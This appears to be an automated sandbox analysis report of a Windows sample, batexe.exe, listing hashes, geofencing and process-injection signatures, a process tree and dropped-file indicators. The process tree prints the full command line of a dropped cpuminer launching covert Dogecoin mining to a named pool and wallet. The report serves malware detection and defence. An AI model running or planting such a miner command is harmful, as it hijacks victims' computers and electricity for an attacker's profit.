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Analysis
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max time kernel
299s -
max time network
298s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-ja -
resource tags
arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows -
submitted
13/02/2024, 18:38
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20231215-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20231222-ja
General
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Target
batexe.exe
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Size
9.4MB
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MD5
cdc9eacffc6d2bf43153815043064427
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SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
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SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
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SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
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SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
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Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation batexe.exe Key value queried \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation b2e.exe -
Executes dropped EXE 2 IoCs
pid Process 1856 b2e.exe 2132 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 2132 cpuminer-sse2.exe 2132 cpuminer-sse2.exe 2132 cpuminer-sse2.exe 2132 cpuminer-sse2.exe 2132 cpuminer-sse2.exe -
resource yara_rule behavioral2/memory/1080-8-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1080 wrote to memory of 1856 1080 batexe.exe 84 PID 1080 wrote to memory of 1856 1080 batexe.exe 84 PID 1080 wrote to memory of 1856 1080 batexe.exe 84 PID 1856 wrote to memory of 1144 1856 b2e.exe 88 PID 1856 wrote to memory of 1144 1856 b2e.exe 88 PID 1856 wrote to memory of 1144 1856 b2e.exe 88 PID 1144 wrote to memory of 2132 1144 cmd.exe 91 PID 1144 wrote to memory of 2132 1144 cmd.exe 91
Processes
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C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1080 -
C:\Users\Admin\AppData\Local\Temp\5ED9.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\5ED9.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5ED9.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1856 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\639C.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:1144 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2132
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
30.0MB
MD59d406fa1b3e58beb74c7913f6c2854e4
SHA1dceae9e71542cb6330a3345e7275b46a55ecc493
SHA256f9760ed36f8973b9b32c224fdaa3a3fc3b6bd02581200084c49dd977a6c96600
SHA5120d0901e882a46990f811e7ebd85fe3aaf02f1d32b1ea88aff1ed8045dd0e20c9da2de65cd528dc905581da0ffae6d426a5aa8a750e08029ef5f3931a8e250b59
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Filesize
896KB
MD51f22d8bf5f6c3dda3e880ea1ba0417d4
SHA12a8dbf2319999a894714bdea650eb5be32c64c19
SHA256afb7da96abe31529f462178372c48627a7e681e3c18cd2196aec8beee07f5b96
SHA512217b89f6a74039807c135539482b1a769d715190f7756e2b0162a33da3d8ada909b80ca3fc1596e542f163f6a45726282997f4e52a36c352cc89b9e58c1e6e05
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Filesize
12.3MB
MD5e06c656a3544be6b663de42b3099c756
SHA120b95509658827ff952be98f94dcf2d4e821e17d
SHA256abcc6cdd93257c50263cca51d3b715a75a813d5c428df2d8b5195f02f6da5cd2
SHA51265b03591530b789cca9cdbb265d28eadb9ce44d84ff5d45aef99f9dde5fe98c28b4579087d614657177d7fa4fbc779455c1b36cdc457e22c16065b546a1c05aa
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Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
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Filesize
2.3MB
MD54c04147c386ba8792ac6a03069572a8a
SHA1dda67789fc1d0f2469ca95f01a5c81034853ca6a
SHA256c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd
SHA512a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db
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Filesize
836KB
MD5aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA15e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA256218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
SHA512c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
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Filesize
1.2MB
MD57cf672bee2afba2dcd0c031ff985958e
SHA16b82a205db080ffdcb4a4470fce85a14413f3217
SHA256c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
SHA5123e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
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Filesize
17.8MB
MD551b0baf74ac9f8ad891075356c00455e
SHA15de4bef63d4b0291b122e5dfc8140622333c3582
SHA2568f726ded090f5e2f5ba80e80e82170e9186e421c9554e60ad1703ea02fbca96b
SHA512437ef5ba6277aa98c742af3da4fd219c1dc806aefdf4d086f9a321a6fc41dd9d03126b56fe60b00cbbfa1afbb02e3a6111a271b8be504ad0deee556aede123ac
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Filesize
27.2MB
MD519fcc327c7f9eaf6a1fae47c9864fda7
SHA190a9ca4f4eb5bc76424b6bec0acd3df0a53b8f8c
SHA256baef1f4cabebdadc52213761b4c8e2bf381976a67bd7c490f952c38f6831b036
SHA51276d129db3006de88b851100f559fac00796f150fd6290d8f1df9f01df5bc733ebf4f4b087580d3ec81c901002d155e522954a9c1a9919cc9ca87198974a77a3a
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Filesize
27.0MB
MD56392f7debcd98b80ec0be6de560bf49a
SHA1ac174f7a361dbea998bee1e7045baa5cebc06134
SHA2561e8977f4eb58a3258b744c3ba67959923969e7f11d0572d2cde4f6dc51ca2917
SHA51200f3e648ec8bc70a99f57be835aea0912ab22da537473c13fd16180d02f04afd0705854361ae15c7f8c443dcd711e59bdd8707ea131bc77567157cb21bf99ed7
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Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770